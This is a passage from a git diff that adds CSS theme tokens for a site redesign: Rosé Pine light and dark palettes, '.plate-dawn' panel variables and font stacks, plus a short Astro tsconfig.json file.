+ --fuzz-band-2: 156 207 216;
+ --fuzz-band-3: 235 111 146;
+ --fuzz-fil-1: 224 222 244;
+ --fuzz-fil-2: 156 207 216;
+ --fuzz-fil-3: 196 167 231;
+ color: var(--fg);
+}
+
+/* ---- Plate-dawn: the inverse of `.plate` — a Dawn (cream) panel on the
+ night page. Pins the full Rosé Pine Dawn palette for its whole subtree,
+ exactly as `.plate` pins night. The cross-theme rule runs in both
+ directions: in light mode code panes and callouts stay dark via
+ `.plate`; in dark mode callouts, the TOC rail and the hero card stay
+ cream via `.plate-dawn` — paper panels floating on the night page. In
+ light mode it is a no-op look (the page is already cream) but harmless.
+ --------------------------------------------------------------------- */
+.plate-dawn {
+ --base: #faf4ed;
+ --surface: #fffaf3;
+ --overlay: #f2e9e1;
+ --muted: #6e6a86;
+ --subtle: #635f7c;
+ --text: #575279;
+ --love: #af416c; --gold: #9b5800; --rose: #b4423d;
+ --pine: #017194; --foam: #00747b; --iris: #795aa2;
+ --pine-soft: #286983; --foam-soft: #56949f; --gold-soft: #ea9d34;
+ --love-soft: #b4637a; --iris-soft: #907aa9; --rose-soft: #d7827e;
+ --hl-low: #f4ede8; --hl-med: #dfdad9; --hl-high: #cecacd;
+ --bg: var(--base);
+ --fg: var(--text);
+ --fg-dim: var(--subtle);
+ --fg-faint: var(--muted);
+ --accent: var(--iris);
+ --accent-2: var(--pine);
+ --rule: rgba(87, 82, 121, 0.22);
+ --rule-hi: rgba(87, 82, 121, 0.48);
+ --rule-faint: rgba(87, 82, 121, 0.12);
+ --wash: rgba(242, 233, 225, 0.6);
+ --wash-strong: #f2e9e1;
+ --code-bg: #f2e9e1;
+ --grain-blend: multiply;
+ --grain-opacity: 0.1;
+ --fuzz-blend: multiply;
+ --fuzz-gain: 0.55;
+ --fuzz-band-1: 144 122 169;
+ --fuzz-band-2: 86 148 159;
+ --fuzz-band-3: 180 99 122;
+ --fuzz-fil-1: 87 82 121;
+ --fuzz-fil-2: 86 148 159;
+ --fuzz-fil-3: 144 122 169;
+ color: var(--fg);
+}
+
+
+/* ============================================================================
+ DÆMON main-site palette — the fixed, absolute Rosé Pine token set the
+ redesigned homepage and shared chrome are authored against, extracted
+ verbatim from daemon-sec.xyz's compiled @theme. These do NOT flip with the
+ mode: `dawn` is always the cream family, `night` always the ink family,
+ `signal` the dark plate chrome. The page's *ground* follows the mode through
+ the theme-relative tokens above (--base / --text / --pine …); the tokens
+ below name the two poles the homepage inverts between — see the hero's P/Q
+ and .plate / .plate-dawn.
+ ========================================================================== */
+:root {
+ /* Paper (Rosé Pine Dawn) */
+ --color-dawn-base: #faf4ed; --color-dawn-surface: #fffaf3; --color-dawn-panel: #fdf8f1; --color-dawn-overlay: #f2e9e1;
+ --color-dawn-ink: #575279; --color-dawn-subtle: #635f7c; --color-dawn-muted: #6e6a86;
+ --color-dawn-pine: #017194; --color-dawn-foam: #00747b; --color-dawn-gold: #9b5800;
+ --color-dawn-love: #af416c; --color-dawn-iris: #795aa2; --color-dawn-rose: #b4423d;
+ --color-dawn-band: #4e3969; --color-dawn-band-ledger: #015a77;
+
+ /* Plates (Rosé Pine night) */
+ --color-night-base: #191724; --color-night-surface: #1f1d2e; --color-night-text: #e0def4;
+ --color-night-subtle: #908caa; --color-night-muted: #8b87a3;
+ --color-night-pine: #3e8fb0; --color-night-foam: #9ccfd8; --color-night-gold: #f6c177;
+ --color-night-love: #eb6f92; --color-night-love-lift: #ee85a2;
+ --color-night-iris: #c4a7e7; --color-night-rose: #ebbcba;
+
+ /* Signal / plate chrome */
+ --color-signal-plate: #171322; --color-signal-meta: #c9c3e0; --color-signal-dim: #9a91c4;
+ --color-signal-pine: #31a3c4; --color-plate-ink: #faf4ed;
+
+ /* Type — DM Mono is now the site mono, matching daemon-sec.xyz. `--font-mono`
+ is re-pointed here so every existing eyebrow/label picks it up too. */
+ --font-plex: 'DM Mono', ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas, monospace;
+ --font-mono: 'DM Mono', ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas, monospace;
+ --font-archivo: 'Archivo', 'Helvetica Neue', Helvetica, Arial, sans-serif;
+
+ /* The redesigned homepage's measure — wider than --maxw for the band grids. */
+ --container-archive: 1560px;
+}
+
+/* Theme-relative surfaces the paper homepage sections use, so they invert with
+ the mode. --line is ink@16% and rides --text automatically. */
+:root, :root[data-theme='light'] { --panel: #fdf8f1; --line: color-mix(in srgb, var(--text) 16%, transparent); }
+:root[data-theme='dark'] { --panel: #1f1d2e; }
+.plate { --panel: #1f1d2e; }
+.plate-dawn { --panel: #fdf8f1; }
diff --git a/tsconfig.json b/tsconfig.json
@@ -0,0 +1,5 @@
+{
+ "extends": "astro/tsconfigs/strict",
+ "include": [".astro/types.d.ts", "**/*"],
+ "exclude": ["dist", "vendor"]
+}